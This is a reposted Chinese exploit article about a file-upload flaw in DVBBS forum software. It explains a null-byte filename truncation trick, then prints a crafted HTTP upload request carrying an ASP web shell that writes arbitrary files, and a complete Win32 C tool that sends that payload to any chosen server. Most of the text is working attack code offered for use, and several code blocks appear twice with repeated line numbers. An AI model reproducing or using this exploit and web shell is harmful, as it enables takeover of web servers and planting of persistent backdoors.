再贴一个上传的漏洞
动网论坛上传文件漏洞的原理以及攻击的代码实现
创建时间:2004-05-17
文章属性:原创
文章提交:suei8423 (suei8423_at_163.com)
动网论坛上传文件漏洞的原理以及攻击的代码实现
----Zwell
---http://www.54nb.com
最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
我们先看一下动网论坛上传文件的相关代码:
1'===========无组件上传(upload_0)====================
2sub upload_0()
3set upload=new UpFile_Class ''建立上传对象
4upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
5iCount=0
6
7if upload.err > 0 then
8 select case upload.err
9 case 1
10 Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
11 case 2
12 Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
13 end select
14 exit sub
15 else
16formPath=upload.form("filepath")
17''在目录后加(/)
18if right(formPath,1)<>"/" then formPath=formPath&"/"
19
20for each formName in upload.file ''列出所有上传了的文件
21set file=upload.file(formName) ''生成一个文件对象
22if file.filesize<100 then
23 response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
24 response.end
25end if
26
27fileExt=lcase(file.FileExt)
28if CheckFileExt(fileEXT)=false then
29 response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
30 response.end
31end if
32
33randomize
34ranNum=int(90000*rnd)+10000
35filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
36if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
37 file.SaveToFile Server.mappath(filename) ''保存文件
38' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
39response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
40 iCount=iCount+1
41end if
42set file=nothing
43next
44set upload=nothing
45session("upface")="done"
46Htmend iCount&" 个文件上传结束!"
47
48end if
49end sub
在上面代码中可以看到这样一句:2sub upload_0()
3set upload=new UpFile_Class ''建立上传对象
4upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
5iCount=0
6
7if upload.err > 0 then
8 select case upload.err
9 case 1
10 Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
11 case 2
12 Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
13 end select
14 exit sub
15 else
16formPath=upload.form("filepath")
17''在目录后加(/)
18if right(formPath,1)<>"/" then formPath=formPath&"/"
19
20for each formName in upload.file ''列出所有上传了的文件
21set file=upload.file(formName) ''生成一个文件对象
22if file.filesize<100 then
23 response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
24 response.end
25end if
26
27fileExt=lcase(file.FileExt)
28if CheckFileExt(fileEXT)=false then
29 response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
30 response.end
31end if
32
33randomize
34ranNum=int(90000*rnd)+10000
35filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
36if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
37 file.SaveToFile Server.mappath(filename) ''保存文件
38' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
39response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
40 iCount=iCount+1
41end if
42set file=nothing
43next
44set upload=nothing
45session("upface")="done"
46Htmend iCount&" 个文件上传结束!"
47
48end if
49end sub
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:
1<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
2<input type="hidden" name="filepath" value="uploadFace">
3<input type="hidden" name="act" value="upload">
4<input type="file" name="file1">
5<input type="hidden" name="fname">
6<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
7parent.document.forms[0].Submit2.disabled=true;">
8</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件2<input type="hidden" name="filepath" value="uploadFace">
3<input type="hidden" name="act" value="upload">
4<input type="file" name="file1">
5<input type="hidden" name="fname">
6<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
7parent.document.forms[0].Submit2.disabled=true;">
8</form>
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.
当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
1<%dim objFSO%>
2<%dim fdata%>
3<%dim objCountFile%>
4<%on error resume next%>
5<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
6<%if Trim(request("syfdpath"))<>"" then%>
7<%fdata = request("cyfddata")%>
8<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
9<%objCountFile.Write fdata%>
10<%if err =0 then%>
11<%response.write "<font color=red>save Success!</font>"%>
12<%else%>
13<%response.write "<font color=red>Save UnSuccess!</font>"%>
14<%end if%>
15<%err.clear%>
16<%end if%>
17<%objCountFile.Close%>
18<%Set objCountFile=Nothing%>
19<%Set objFSO = Nothing%>
20<%Response.write "<form action='''' method=post>"%>
21<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
22<%Response.Write "<br>"%>
23<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
24<%Response.write "<br>"%>
25<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
26<%Response.write "<input type=submit value=save>"%>
27<%Response.write "</form>"%>
2<%dim fdata%>
3<%dim objCountFile%>
4<%on error resume next%>
5<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
6<%if Trim(request("syfdpath"))<>"" then%>
7<%fdata = request("cyfddata")%>
8<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
9<%objCountFile.Write fdata%>
10<%if err =0 then%>
11<%response.write "<font color=red>save Success!</font>"%>
12<%else%>
13<%response.write "<font color=red>Save UnSuccess!</font>"%>
14<%end if%>
15<%err.clear%>
16<%end if%>
17<%objCountFile.Close%>
18<%Set objCountFile=Nothing%>
19<%Set objFSO = Nothing%>
20<%Response.write "<form action='''' method=post>"%>
21<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
22<%Response.Write "<br>"%>
23<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
24<%Response.write "<br>"%>
25<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
26<%Response.write "<input type=submit value=save>"%>
27<%Response.write "</form>"%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"
上传
-----------------------------7d4a325500d2--
上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).
至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
1#include <winsock2.h>
2#include <stdio.h>
3#include "Resource.h"
4
5#pragma comment(lib,"ws2_32.lib")
6
7HINSTANCE g_hInst;
8HWND g_hWnd;
9HWND m_up;
10HWND m_host;
11HWND m_webpath;
12HWND m_path;
13HWND m_filename;
14HWND m_upload;
15DWORD m_theadid;
16BYTE sendbuf[10000];
17char host[80]; //主机地址
18char bbspath[50]; //论坛地址
19char uppath[20]; //上传目录
20char upfilename[50]; //上传文件名
21char upfiledata[8000]; //上传文件内容
22int sendsize; //总传送数据大小
23int realsndsize = 0; //传送页面文件的大小
24char snddata[8000];
25char mm[1000]=
26 "<%dim objFSO%>\r\n"
27 "<%dim fdata%>\r\n"
28 "<%dim objCountFile%>\r\n"
29 "<%on error resume next%>\r\n"
30 "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
31 "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
32 "<%fdata = request(\"cyfddata\")%>\r\n"
33 "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
34 "<%objCountFile.Write fdata%>\r\n"
35 "<%if err =0 then%>\r\n"
36 "<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
37 "<%else%>"
38 "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
39 "<%end if%>\r\n"
40 "<%err.clear%>\r\n"
41 "<%end if%>"
42 "<%objCountFile.Close%>\r\n"
43 "<%Set objCountFile=Nothing%>\r\n"
44 "<%Set objFSO = Nothing%>"
45 "<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
46 "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
47 "<%Response.Write \"<br>\"%>\r\n"
48 "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
49 "<%Response.write \"<br>\"%>\r\n"
50 "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
51 "<%Response.write \"<input type=submit value=save>\"%>\r\n"
52 "<%Response.write \"</form>\"%>\r\n";
53
54//获得控件文本
55char *gettext(HWND chwnd)
56{
57 char tmpbuf[10000];
58 SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
59 return tmpbuf;
60}
61
62//设置控件文本
63void settext(HWND chwnd,char *text)
64{
65 SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
66}
67
68char *itos(int data)
69{
70 char tmp[10];
71 sprintf(tmp, "%d", data);
72 return tmp;
73}
74
75//上传线程
76DWORD WINAPI uploadthread(LPVOID param)
77{
78 SOCKET s;
79 sockaddr_in sin;
80 struct hostent * hp;
81 unsigned int addr;
82
83 s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
84
85 ZeroMemory((void *)&sin, sizeof(sin));
86
87 hp = gethostbyname(gettext(m_host));
88 if (!hp)
89 addr = inet_addr(gettext(m_host));
90 if ((!hp) && (addr == INADDR_NONE) )
91 {
92 MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
93 return 0;
94 }
95 if (hp != NULL)
96 memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
97 else
98 sin.sin_addr.s_addr = addr;
99
100 sin.sin_port = htons(80);
101 sin.sin_family = AF_INET;
102
103 strcpy(host, gettext(m_host));
104 strcpy(bbspath, gettext(m_webpath));
105 strcpy(upfiledata, gettext(m_upload));
106 strcpy(uppath, gettext(m_path));
107 strcpy(upfilename, gettext(m_filename));
108
109 realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
110
111 sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
112 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
113 "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
114 "Accept-Language: zh-cn\r\n"
115 "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
116 "Accept-Encoding: gzip, deflate\r\n"
117 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
118 "Host: %s\r\n"
119 "Content-Length: %d\r\n"
120 "Connection: Keep-Alive\r\n"
121 "Cache-Control: no-cache\r\n"
122 "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
123 "-----------------------------7d4a325500d2\r\n"
124 "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
125 "%s\\%s",
126 bbspath,
127 host,
128 realsndsize,
129 uppath,
130 upfilename);
131
132 sendsize = strlen((char *)sendbuf);
133 sendbuf[sendsize] = '\0';
134
135 sprintf(snddata,
136 "\r\n"
137 "-----------------------------7d4a325500d2\r\n"
138 "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
139 "upload\r\n"
140 "-----------------------------7d4a325500d2\r\n"
141 "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
142 "Content-Type: text/plain\r\n\r\n"
143 "%s\r\n"
144 "-----------------------------7d4a325500d2\r\n"
145 "Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
146 "C:\\1.gif\r\n"
147 "-----------------------------7d4a325500d2\r\n"
148 "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
149 "上传\r\n"
150 "-----------------------------7d4a325500d2--\r\n\r\n",
151 upfiledata);
152
153 strcat((char *)&sendbuf[sendsize+1], snddata);
154
155 sendsize += strlen(snddata);
156 sendsize += 1;
157
158 if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
159 {
160 MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
161 return 0;
162 }
163 int sendsz = send(s, (char *)sendbuf, sendsize, 0);
164 if(sendsz <= 0)
165 MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
166 char recvbuf[10000];
167 recv(s, (char*)recvbuf, 10000, 0);
168 settext(m_upload, recvbuf);
169 closesocket(s);
170 return 0;
171}
172
173void WINAPI On_Command(WPARAM wParam)
174{
175 switch (LOWORD(wParam))
176 {
177 case ID_UP:
178 CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
179 break;
180 case IDCANCEL:
181 SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
182 break;
183 }
184}
185
186static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
187{
188 switch (msg)
189 {
190 case WM_INITDIALOG:
191 g_hWnd = hWndDlg;
192 m_up = GetDlgItem(g_hWnd, ID_UP);
193 m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
194 m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
195 m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
196 m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
197 m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
198 settext(m_host, "192.168.10.101");
199 settext(m_webpath, "/");
200 settext(m_path, "uploadface");
201 settext(m_filename, "zwell.asp");
202 settext(m_upload, mm);
203 return TRUE;
204
205 case WM_COMMAND:
206 On_Command(wParam);
207 break;
208
209 case WM_SIZE:
210 break;
211
212 case WM_CLOSE:
213 EndDialog(g_hWnd,0);
214 break;
215 }
216 return FALSE;
217}
218
219int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
220{
221 WSADATA wsaData;
222
223 g_hInst=hInstance;
224 if(WSAStartup(MAKEWORD(1, 1), &wsaData))
225 {
226 MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
227 return 0;
228 }
229 DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
230 WSACleanup();
231 return 1;
232}
2#include <stdio.h>
3#include "Resource.h"
4
5#pragma comment(lib,"ws2_32.lib")
6
7HINSTANCE g_hInst;
8HWND g_hWnd;
9HWND m_up;
10HWND m_host;
11HWND m_webpath;
12HWND m_path;
13HWND m_filename;
14HWND m_upload;
15DWORD m_theadid;
16BYTE sendbuf[10000];
17char host[80]; //主机地址
18char bbspath[50]; //论坛地址
19char uppath[20]; //上传目录
20char upfilename[50]; //上传文件名
21char upfiledata[8000]; //上传文件内容
22int sendsize; //总传送数据大小
23int realsndsize = 0; //传送页面文件的大小
24char snddata[8000];
25char mm[1000]=
26 "<%dim objFSO%>\r\n"
27 "<%dim fdata%>\r\n"
28 "<%dim objCountFile%>\r\n"
29 "<%on error resume next%>\r\n"
30 "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
31 "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
32 "<%fdata = request(\"cyfddata\")%>\r\n"
33 "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
34 "<%objCountFile.Write fdata%>\r\n"
35 "<%if err =0 then%>\r\n"
36 "<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
37 "<%else%>"
38 "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
39 "<%end if%>\r\n"
40 "<%err.clear%>\r\n"
41 "<%end if%>"
42 "<%objCountFile.Close%>\r\n"
43 "<%Set objCountFile=Nothing%>\r\n"
44 "<%Set objFSO = Nothing%>"
45 "<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
46 "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
47 "<%Response.Write \"<br>\"%>\r\n"
48 "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
49 "<%Response.write \"<br>\"%>\r\n"
50 "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
51 "<%Response.write \"<input type=submit value=save>\"%>\r\n"
52 "<%Response.write \"</form>\"%>\r\n";
53
54//获得控件文本
55char *gettext(HWND chwnd)
56{
57 char tmpbuf[10000];
58 SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
59 return tmpbuf;
60}
61
62//设置控件文本
63void settext(HWND chwnd,char *text)
64{
65 SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
66}
67
68char *itos(int data)
69{
70 char tmp[10];
71 sprintf(tmp, "%d", data);
72 return tmp;
73}
74
75//上传线程
76DWORD WINAPI uploadthread(LPVOID param)
77{
78 SOCKET s;
79 sockaddr_in sin;
80 struct hostent * hp;
81 unsigned int addr;
82
83 s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
84
85 ZeroMemory((void *)&sin, sizeof(sin));
86
87 hp = gethostbyname(gettext(m_host));
88 if (!hp)
89 addr = inet_addr(gettext(m_host));
90 if ((!hp) && (addr == INADDR_NONE) )
91 {
92 MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
93 return 0;
94 }
95 if (hp != NULL)
96 memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
97 else
98 sin.sin_addr.s_addr = addr;
99
100 sin.sin_port = htons(80);
101 sin.sin_family = AF_INET;
102
103 strcpy(host, gettext(m_host));
104 strcpy(bbspath, gettext(m_webpath));
105 strcpy(upfiledata, gettext(m_upload));
106 strcpy(uppath, gettext(m_path));
107 strcpy(upfilename, gettext(m_filename));
108
109 realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
110
111 sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
112 "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
113 "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
114 "Accept-Language: zh-cn\r\n"
115 "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
116 "Accept-Encoding: gzip, deflate\r\n"
117 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
118 "Host: %s\r\n"
119 "Content-Length: %d\r\n"
120 "Connection: Keep-Alive\r\n"
121 "Cache-Control: no-cache\r\n"
122 "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
123 "-----------------------------7d4a325500d2\r\n"
124 "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
125 "%s\\%s",
126 bbspath,
127 host,
128 realsndsize,
129 uppath,
130 upfilename);
131
132 sendsize = strlen((char *)sendbuf);
133 sendbuf[sendsize] = '\0';
134
135 sprintf(snddata,
136 "\r\n"
137 "-----------------------------7d4a325500d2\r\n"
138 "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
139 "upload\r\n"
140 "-----------------------------7d4a325500d2\r\n"
141 "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
142 "Content-Type: text/plain\r\n\r\n"
143 "%s\r\n"
144 "-----------------------------7d4a325500d2\r\n"
145 "Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
146 "C:\\1.gif\r\n"
147 "-----------------------------7d4a325500d2\r\n"
148 "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
149 "上传\r\n"
150 "-----------------------------7d4a325500d2--\r\n\r\n",
151 upfiledata);
152
153 strcat((char *)&sendbuf[sendsize+1], snddata);
154
155 sendsize += strlen(snddata);
156 sendsize += 1;
157
158 if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
159 {
160 MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
161 return 0;
162 }
163 int sendsz = send(s, (char *)sendbuf, sendsize, 0);
164 if(sendsz <= 0)
165 MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
166 char recvbuf[10000];
167 recv(s, (char*)recvbuf, 10000, 0);
168 settext(m_upload, recvbuf);
169 closesocket(s);
170 return 0;
171}
172
173void WINAPI On_Command(WPARAM wParam)
174{
175 switch (LOWORD(wParam))
176 {
177 case ID_UP:
178 CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
179 break;
180 case IDCANCEL:
181 SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
182 break;
183 }
184}
185
186static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
187{
188 switch (msg)
189 {
190 case WM_INITDIALOG:
191 g_hWnd = hWndDlg;
192 m_up = GetDlgItem(g_hWnd, ID_UP);
193 m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
194 m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
195 m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
196 m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
197 m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
198 settext(m_host, "192.168.10.101");
199 settext(m_webpath, "/");
200 settext(m_path, "uploadface");
201 settext(m_filename, "zwell.asp");
202 settext(m_upload, mm);
203 return TRUE;
204
205 case WM_COMMAND:
206 On_Command(wParam);
207 break;
208
209 case WM_SIZE:
210 break;
211
212 case WM_CLOSE:
213 EndDialog(g_hWnd,0);
214 break;
215 }
216 return FALSE;
217}
218
219int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
220{
221 WSADATA wsaData;
222
223 g_hInst=hInstance;
224 if(WSAStartup(MAKEWORD(1, 1), &wsaData))
225 {
226 MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
227 return 0;
228 }
229 DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
230 WSACleanup();
231 return 1;
232}
WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过
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